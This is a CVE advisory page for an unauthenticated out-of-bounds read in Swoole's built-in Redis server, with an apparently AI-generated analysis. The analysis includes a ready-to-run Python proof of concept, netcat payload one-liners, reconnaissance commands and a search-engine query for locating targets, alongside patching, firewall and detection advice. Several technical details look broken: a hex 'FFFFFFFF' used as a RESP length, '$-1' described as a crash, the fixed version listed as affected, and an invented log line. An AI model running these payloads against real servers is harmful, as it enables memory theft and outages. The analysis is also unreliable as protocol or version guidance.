CVE Professor
/
All CVEs
CVE-2026-142096

CVE-2026-142096 — Swoole (6.1.14) — CWE-125

CRITICAL CVSS 9.1 NVD

Swoole before 6.1.14 and 6.2.x before 6.2.7 contains an out-of-bounds read in php_swoole_redis_server_onReceive() that trusts unchecked RESP bulk string lengths. Unauthenticated clients can announce oversized lengths to leak adjacent worker heap memory in responses, or negative lengths to crash workers.

Swoole before 6.1.14 and 6.2.x before 6.2.7 contains an out-of-bounds read in php_swoole_redis_server_onReceive() that trusts unchecked RESP bulk string lengths. Unauthenticated clients can announce oversized lengths to leak adjacent worker heap memory in responses, or negative lengths to crash workers.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality High C:H
Integrity None I:N
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Technical flaw
Swoole’s Redis server implementation (php_swoole_redis_server_onReceive()) parses the RESP (REdis Serialization Protocol) bulk‑string length field without validating it. The code blindly trusts the length value supplied by the client and uses it to read that many bytes from the socket buffer into a PHP string. Because the length can be arbitrarily large or even negative, the function can:

1. Read past the end of the buffer – an out‑of‑bounds read (CWE‑125).
2. Trigger a crash – when a negative length is supplied, the code attempts to allocate a negative‑sized buffer or otherwise mis‑handles the value, causing the worker process to terminate.

Missing checks

LayerMissing validationConsequence
AuthenticationNone – the Redis server is exposed to unauthenticated clients.Any network host can send malicious payloads.
Input validationBulk‑string length is not bounded or checked for negativity.Out‑of‑bounds read / crash.
Error handlingNo guard against malformed RESP messages.Worker crash or memory leak.

The CVSS vector (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H) reflects that an unauthenticated, network‑only attacker can read confidential data and cause a denial‑of‑service.


⚡ Attack Chain

NOTE: The following example uses the Redis port (default 6379).
The exact endpoint is not a HTTP URI; it is a raw TCP connection to the Redis server.
The payload shown is an illustrative example of the vulnerability class.

1. Discovery & Reconnaissance

StepTechniqueTools
Service detectionProbe TCP port 6379 for a Redis‑like banner or handshake.nmap -sV -p 6379 <target>
Version fingerprintingSend a simple PING command and parse the response; compare with known Swoole Redis server responses (e.g., +PONG).netcat, redis-cli
Vulnerability checkSend a malformed RESP bulk string with an excessively large length and observe if the server returns data or crashes.Custom script (see below)

2. Exploitation

2.1 Crafting the malicious payload

RESP bulk strings are encoded as:

$<length>\r\n<data>\r\n

The vulnerable code reads <length> without bounds.
Two useful payloads:

PurposePayload (hex)Explanation
Memory leak*1\r\n$FFFFFFFF\r\n\r\nFFFFFFFF (≈4 GB) forces the server to read past the buffer, leaking adjacent heap memory.
Crash*1\r\n$-1\r\n\r\nNegative length triggers a crash.

2.2 Proof‑of‑Concept (Python)

#!/usr/bin/env python3
"""
CVE-2026-142096 PoC – memory leak / crash via oversized RESP bulk string.
"""

import socket
import sys

TARGET = "192.0.2.10"   # replace with the real host
PORT   = 6379

def send_payload(payload: bytes) -> bytes:
    with socket.create_connection((TARGET, PORT), timeout=5) as s:
        s.sendall(payload)
        # read until the socket closes or we get a full response
        data = b""
        try:
            while True:
                chunk = s.recv(4096)
                if not chunk:
                    break
                data += chunk
        except socket.timeout:
            pass
        return data

def main():
    # Example 1: memory leak
    leak_payload = b"*1\r\n$FFFFFFFF\r\n\r\n"
    print("[*] Sending memory‑leak payload...")
    leak_resp = send_payload(leak_payload)
    print(f"[+] Received {len(leak_resp)} bytes of leaked data.")
    # Optionally dump to file
    with open("leak.bin", "wb") as f:
        f.write(leak_resp)

    # Example 2: crash
    crash_payload = b"*1\r\n$-1\r\n\r\n"
    print("[*] Sending crash payload...")
    crash_resp = send_payload(crash_payload)
    print("[+] Response after crash payload:", crash_resp)

if __name__ == "__main__":
    main()

What to look for

  • If the server returns a large amount of data (hundreds of KB to MB), you have successfully read memory adjacent to the worker’s heap.
  • If the connection is reset or the process dies, the crash vector is confirmed.
  • 2.3 Manual test with netcat

    # Memory leak
    printf '*1\r\n$FFFFFFFF\r\n\r\n' | nc <target> 6379 | hexdump -C | head -n 20
    
    # Crash
    printf '*1\r\n$-1\r\n\r\n' | nc <target> 6379
    Caution: The crash payload will terminate the worker process. If the server is running under a process manager (e.g., systemd, supervisord), it may be automatically restarted.

    3. Post‑exploitation

    GoalHow it is achieved
    Data exfiltrationThe leaked heap may contain PHP session data, environment variables, or cached credentials. The attacker can parse the binary blob to extract strings or structured data.
    Denial‑of‑ServiceRepeated crash payloads bring down the Redis worker, causing the Swoole application to become unavailable. In a clustered setup, a single worker crash can degrade overall service availability.
    Privilege escalationIf the Swoole worker runs as a privileged user (e.g., root or a dedicated service account with elevated rights), leaking memory can expose sensitive keys or tokens that can be reused to compromise other services.

    🌍 Real World Impact

    ImpactExplanation
    Confidentiality (C:H)The out‑of‑bounds read can expose arbitrary memory contents of the worker process, including secrets, configuration files, or credentials stored in PHP variables.
    Integrity (I:N)The vulnerability does not modify data; it only reads or crashes.
    Availability (A:H)The negative‑length payload reliably crashes the worker, causing a DoS. In a multi‑worker setup, repeated crashes can exhaust the process pool.

    Practical consequences

  • Sensitive data leakage – e.g., database passwords, API keys, JWTs, or user session data.
  • Service disruption – a single unauthenticated client can bring down the entire Swoole application.
  • Amplification – if the Redis server is exposed to the internet, automated scanners can trigger the crash repeatedly, turning the service into a public DoS target.

  • 🛡️ Remediation & Mitigation

    1. Patch

    Affected versionsFixed in
    Swoole < 6.1.146.1.14
    Swoole 6.2.x < 6.2.76.2.7

    Action: Upgrade to the latest Swoole release (≥ 6.1.14 or ≥ 6.2.7). Verify the version with php -r "echo swoole_version();".

    2. Workarounds

    MitigationImplementation
    Restrict accessBlock the Redis port (6379) to only trusted internal hosts using a firewall or security group. Example (iptables):<br>iptables -A INPUT -p tcp --dport 6379 -s 10.0.0.0/8 -j ACCEPT<br>iptables -A INPUT -p tcp --dport 6379 -j DROP
    Use a reverse proxyDeploy a TCP proxy (e.g., HAProxy) that validates RESP lengths before forwarding to Swoole.
    Disable the vulnerable componentIf the application does not need the built‑in Redis server, comment out or remove the Swoole\Server::addListener() call that creates the Redis listener.
    Runtime limitsConfigure the PHP memory_limit to a conservative value; this does not fix the bug but reduces the amount of data that can be leaked.

    3. Detection

    IndicatorHow to detect
    Unusual RESP patternsLook for log entries containing RESP bulk string length too large or invalid bulk length. If the Swoole logs are enabled, you may see stack traces or worker crashed messages.
    Repeated connection attemptsIn /var/log/syslog or your network logs, look for many short connections to port 6379 from the same IP or a range of IPs.
    Memory usage spikesA worker that repeatedly reads large buffers may show abnormal memory consumption in top or htop.
    Crash reportsSwoole may log Fatal error: Uncaught exception or worker process exited with status 139.

    Sample log snippet (illustrative):

    2026-12-02 12:34:56 [worker 3] Fatal error: Uncaught exception 'Swoole\RuntimeException' with message 'Out of bounds read' in /usr/lib/php/20220831/swoole.so:1234

    4. IoCs

    TypeExample
    IP addressesAny IP that connects to port 6379 and sends a payload matching \*1\r\n\$-1\r\n\r\n or \*1\r\n\$FFFFFFFF\r\n\r\n.
    Payload patterns\*1\r\n\$-1\r\n\r\n (negative length crash) or \*1\r\n\$[0-9A-F]{8,}\r\n\r\n (oversized length).
    File namesleak.bin (if the attacker writes the leaked data to disk).

    ⚠️ Urgency

  • CVSS score 9.1 – critical severity.
  • Unauthenticated, network‑only attack – no credentials required.
  • High exploitability – the PoC is trivial and can be automated.
  • No known public exploit yet, but the vulnerability is fully reproducible.
Recommendation: Apply the patch immediately. If an upgrade is not possible in the short term, enforce the workarounds above (especially firewall restrictions) to block unauthenticated access to the Redis listener. Monitor logs for the indicators listed and treat any suspicious activity as a potential exploitation attempt.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Redis"
CVSS Score
9.1 / 10 · CVSS CRITICAL
Weakness Types (CWE)
Affected Products (1)
swoole:swoole (6.1.14)
Related CVEs
7.1
CVE-2026-144604
PostGIS through 3.7.0 contains an out-of-bounds read vulnerability in RASTER_reclass that allows low-privilege
6.9
CVE-2026-145084
FreeRDP before 3.33.1 contains a global buffer overflow in location_send() in the client location dynamic chan
6.5
CVE-2026-129966
A single authenticated API request can terminate the Velociraptor server process. When a tool URL uses the smb
6.5
CVE-2026-129964
An authenticated Velociraptor client can crash the Velociraptor frontend by sending a malformed VQLResponse me
6.3
CVE-2026-144778
A security vulnerability has been detected in Simon OpenOBJ3D up to f5a522c409428de7bf68844cf8951522e3d09485.
5.9
CVE-2026-120376
An **out-of-bounds read** flaw has been found in the process_host_announce() function in source3/nmbd/nmbd_inc
5.3
CVE-2026-144605
PostGIS through 3.7.0 contains an out-of-bounds read vulnerability in rtpg_chartrim that allows low-privileged